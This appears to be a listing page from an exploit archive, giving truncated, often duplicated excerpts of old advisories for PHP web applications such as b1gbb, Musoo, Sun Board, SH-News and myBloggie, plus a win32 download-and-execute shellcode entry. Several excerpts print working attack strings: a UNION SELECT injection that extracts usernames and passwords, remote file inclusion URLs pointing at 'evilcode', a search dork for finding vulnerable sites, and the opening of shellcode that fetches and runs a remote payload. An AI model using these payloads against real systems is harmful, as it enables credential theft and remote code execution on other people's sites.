QuickTalk forum 1.3 (lang) Local File Inclusion Vulnerabilities

No description provided by source. QuickTalk forum v1.3 Local File Inclusion download: http://www.qt-cute.org/download/qtf13.zip found by: katatafish [email protected] vulncode: $strLang = $GET"lang"; include"language/$strLang/qtflangreg.inc"; exploits:...

b1gbb 2.24.0 (SQL Injection / XSS) Remote Vulnerabilities

Exploit for unknown platform in category web applications ========================================================= b1gbb 2.24.0 SQL Injection / XSS Remote Vulnerabilities ========================================================= b1gbb 2.24.0 SQL/XSS Remote Vulnerabilities D.Script :...

b1gbb 2.24.0 - SQL Injection / Cross-Site Scripting

b1gbb 2.24.0 SQL/XSS Remote Vulnerabilities D.Script : http://switch.dl.sourceforge.net/sourceforge/b1gbb/b1gbb-2.24.0.zip Exploits SQL : //showthread.php?id=-1%20union%20all%20select%200,1,2,3,4,5,6,concatusername,passwort,8%20FROM%20cebbuser%20%20where%20id=1/ OR...

QuickTalk forum 1.3 - lang Local File Inclusion

QuickTalk forum 1.3 - lang Local File Inclusion QuickTalk forum v1.3 Local File Inclusion download: http://www.qt-cute.org/download/qtf13.zip found by: katatafish [email protected] vulncode: $strLang = $GET"lang"; include"language/$strLang/qtflangreg.inc"; exploits:...

pharmacy-sql.txt

--==+================================================================================+==-- --==+ Pharmacy System v2 AND PRIOR SQL INJECTION VULNERBILITYS +==-- --==+================================================================================+==-- AUTHOR: t0pP8uZz & xprog SCRIPT DOWNLOAD: PAY...

b1gbb 2.24.0 - footer.inc.php?tfooter Remote File Inclusion

b1gbb 2.24.0 - footer.inc.php?tfooter Remote File Inclusion b1gBB b1g Bulletion Board footer.inc.php Remote File Inclusion Vulnerabilities D.Script : http://switch.dl.sourceforge.net/sourceforge/b1gbb/b1gbb-2.24.0.zip V.Code : include $tfooter In : footer.inc.php Exploits :...

b1gbb 2.24.0 (footer.inc.php tfooter) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ========================================================================= b1gbb 2.24.0 footer.inc.php tfooter Remote File Inclusion Vulnerability ========================================================================= b1gBB b1g Bulletion...

Pharmacy System 2.0 (index.php ID) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ===================================================================== Pharmacy System 2.0 index.php ID Remote SQL Injection Vulnerability =====================================================================...

Sun Board 1.00.00 alpha Remote File Inclusion Vulnerabilities

No description provided by source. Sun Board 1.00.00 Alpha Multiple Remote File Inclusion Vulnerabilities D.Script : http://mesh.dl.sourceforge.net/sourceforge/sunboard/sunboard.zip V.Code : require $sunPath.'config.php'; requireonce $sunPath.'dbms/'.$dbtype.'.php'; In : /include.php Exploits :...

Sun Board 1.00.00 alpha Remote File Inclusion Vulnerabilities

Exploit for unknown platform in category web applications ============================================================= Sun Board 1.00.00 alpha Remote File Inclusion Vulnerabilities ============================================================= Sun Board 1.00.00 Alpha Multiple Remote File Inclusio...

Musoo 0.21 Remote File Inclusion Vulnerabilities

No description provided by source. Musoo 0.21GLOBALSiniarrayEXTLIBPATHRemote File Include D.Script: http://osx.freshmeat.net/redir/musoo/65735/urltgz/musoo-0.21.tar.gz V.Code : requireonce $GLOBALS"iniarray""EXTLIBPATH".'/ In : /msDb.php /modules/MusooTemplateLite.php /modules/SoundImporter.php...

Musoo 0.21 - Remote File Inclusion

Musoo 0.21GLOBALSiniarrayEXTLIBPATHRemote File Include D.Script: http://osx.freshmeat.net/redir/musoo/65735/urltgz/musoo-0.21.tar.gz V.Code : requireonce $GLOBALS"iniarray""EXTLIBPATH".'/ In : /msDb.php /modules/MusooTemplateLite.php /modules/SoundImporter.php Exploits:...

Musoo 0.21 - Remote File Inclusion

Musoo 0.21 - Remote File Inclusion Musoo 0.21GLOBALSiniarrayEXTLIBPATHRemote File Include D.Script: http://osx.freshmeat.net/redir/musoo/65735/urltgz/musoo-0.21.tar.gz V.Code : requireonce $GLOBALS"iniarray""EXTLIBPATH".'/ In : /msDb.php /modules/MusooTemplateLite.php /modules/SoundImporter.php...

yabb-lfi.txt

Local File Include Vulnerabilities Problem: Local File Include Vulnerabilities Product: YaBB 1,640,000 clients 2. Local File Include I found many bugs like it in this board.Bugs relate one special variable for user$language, you can edit this variable in your profile. Examples, where I found bugs...

shnew31-rfi.txt

Found By : Hasadya Raed Contact : [email protected] --------------------------- Script : SH-News 3.1 Dork : "Powered by SH-News 3.1" Greetz : Guardian Information Systems --------------------------- B.Files : report.php archive.php comments.php init.php news.php Exploits :...

RFI In Script SH-News 3.1

Found By : Hasadya Raed Contact : [email protected] --------------------------- Script : SH-News 3.1 Dork : "Powered by SH-News 3.1" Greetz : Guardian Information Systems --------------------------- B.Files : report.php archive.php comments.php init.php news.php Exploits :...

win32 download and execute 124 bytes

Exploit for win32 platform in category shellcode ==================================== win32 download and execute 124 bytes ==================================== ; ; relocateable dynamic runtime assembly code example using hash lookup for IE exploits only ; the URLMON.DLL must already be loaded int...

win32 download and execute 124 bytes

No description provided by source. ; ; relocateable dynamic runtime assembly code example using hash lookup for IE exploits only ; the URLMON.DLL must already be loaded into the process space for this to work, so do not run on its own!! ; ; to test use /DTESTCODE in ml command line ; ;...

mybloggie-rfi.txt

myBloggie 2.1.5 RFI Author: Yaser Homepage: http://www.ayyildiz.org Download S : http://mywebland.com/download.php?id=19 Exploits: http://site/config.php?bloggierootpath=evilcode? http://site/includes/db.php?bloggierootpath=evilcode? http://site/includes/template.php?bloggierootpath=evilcode?...

CACTUSHOP 6 Default Installation Allows Remote Database Disclosure

Cactushop V6 allows remote users to download the database which contains creditcard numbers and critical information. The affected carts default installation gives away the path to database file. As a result, an attacker exploiting this vulnerability will be able to obtain detailed private custom...